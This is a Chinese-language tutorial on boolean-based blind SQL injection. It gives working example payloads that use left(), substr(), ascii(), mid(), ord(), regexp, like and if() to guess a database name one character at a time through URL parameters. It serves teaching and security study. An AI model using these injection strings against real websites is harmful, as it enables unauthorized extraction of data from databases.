Blind SQL injection
何为盲注?
盲注就是在sql注入过程中,sql语句执行select之后,可能由于网站代码的限制或者apache等解析器配置了不回显数据,造成在select数据之后不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个判断的过程称之为盲注。
盲注分类:
•基于布尔SQL盲注
•基于时间的SQL盲注
Boolean-based blind SQL injection
利用前提:
页面上没有显示位,也没有输出SQL语句执行错误信息。
只能通过页面返回正常不正常来注入
优点:
不需要显示位,不需要出错信息。
缺点:
速度慢,耗费大量时间。
判断页面正确与错误返回情况
基于boolean的盲注主要表现症状:
1、没有报错信息
2、不管是正确的输入,还是错误的输入,都只显示两种情况 (我们可以认为是0或者1)
3、在正确的输入下,输入and 1=1/and 1=2看返回发现可以判断(只会有真假,没有报错)
Boolean-based blind SQL injection
使用布尔型盲注提取数据的基本步骤:
示例:
http://localhost/sqleasy/news.php?newsid=11 and substr((select database()),1,1)='s'
在sql注入中,往往会用到截取字符串的问题,尤其是在不回显数据的盲注情况下,往往需要一个一个字符的去猜解,过程中需要用到截取字符串。
常用的截取字符串payload如下:
left()函数:得到字符串左部指定个数的字符
语法:
left (string,n) string为要截取的字符串,n为长度。
举例:
? name=lucy' and left(database(),1)='p'--+
? name=lucy' and left(database(),2)='pi'--+
当数据库名第一个字母='p'时,页面不变,可以得到第一个数据库第一个字符为'p'。
当数据库名前两个字母='pi'时,页面不变,可以得到数据库名前两个字母为'pi'。
Boolean-based blind SQL injection--substr()
substr()函数:截取指定长度的字符串。
语法:
string substr(string, start, length) 第一个参数为要处理的字符串,start为开始位置,length为截取的长度
举例:
- ?name=lucy' and substr(database(),1,1)='p' --+
- ?name=lucy' and substr(database(),2,1)='i' --+
复制代码
当数据库名第二个字母='i'时,页面不变,可以得到数据库名前两个字母为'pi'。
substr()函数:截取指定长度的字符串。
语法:
ascii(substr(string, start, 1))=num string参数为要处理的字符串,start为开始位置,num为ascii码长度
举例:
- ?name=lucy' and ascii(substr(database(),1,1))=112 --+
- ?name=lucy' and ascii(substr(database(),2,1))=105 --+
复制代码
当数据库名第二个字母ascii码为105时,页面不变,可以得到数据库名前两个字母为'pi'。
Boolean-based blind SQL injection--mid()
mid()函数:截取指定长度的字符串。
语法:
mid(string, start[, length]) column_name为要提取字符的字段,start为开始截取位置(起始值是1),length为截取的长度(可选,默认余下所有字符)
举例:
- ?name=lucy' and mid(database(),1,1)='p' --+
- ?name=lucy' and mid(database(),2,1)='i' --+
复制代码
当数据库名第二个字母='i'时,页面不变,可以得到数据库名前两个字母为'pi'。
mid()函数:截取字符串指定长度的字符串
语法:
ord(MID(column_name,start,1))=num
column_name为要提取字符的字段,start为开始截取位置(起始值是1),num为ascii码
举例:
- ?name=lucy' and ord(substr(database(),1,1))=112 --+
- ?name=lucy' and ord(substr(database(),2,1))=105 --+
复制代码
当数据库名第二个字母ascii码为105时,页面不变,可以得到数据库名前两个字母为'pi'。
Boolean-based blind SQL injection--regexp
regexp :正则表达式
语法: regexp ^[a-z] 表示字符串中第一个字符是在 a-z范围内。
regexp ^a 表示字符串第一个字符是a。
regexp ^ab 表示字符串前两个字符是ab。
举例:
- ?name=lucy' and database() regexp '^p' --+
- ?name=lucy' and database() regexp '^pi' --+
复制代码
当数据库名第一二个字母为pi时,匹配正则表达式,返回true。可以得到第一二个数据库第一个字符为pi。
Boolean-based blind SQL injection--like搜索
like:与正则表达式类似
语法: Like 'a%'表示字符串第一个字符是a。
Like 'ab%'表示字符串前两个字符是ab。
举例:
- ?name=lucy' and database() like 'p%' --+
- ?name=lucy' and database() like 'pi%' --+
复制代码
当数据库名第一个字母为pi时,like匹配正确,返回true。可以得到第一个数据库前两个字符为'pi'。
Boolean-based blind SQL injection--if()
if()函数:
判断函数,并根据判断结果返回特定值。
语法:
if(判断条件,正确返回的值,错误返回的值)
举例:
if()函数可以和前面提到的函数结合使用
?id=1' and 1=if(前面提到的注入语句,1,0) --+
?id=1' and 1=if(left(database(),1)='d',1,0) --+
?id=1' and 1=if(substr(database(),1,1)='d',1,0) --+
?id=1' and 1=if(ascii(substr(database(),1,1))=100,1,0) --+
?id=1' and 1=if(MID(DATABASE(),1,1)='d',1,0) --+
?id=1' and 1=if(ord(MID(DATABASE(),1,1))=100,1,0) --+
?id=1' and 1=if(database() regexp '^d',1,0) --+
?id=1' and 1=if(database() like 'd%',1,0) --+
|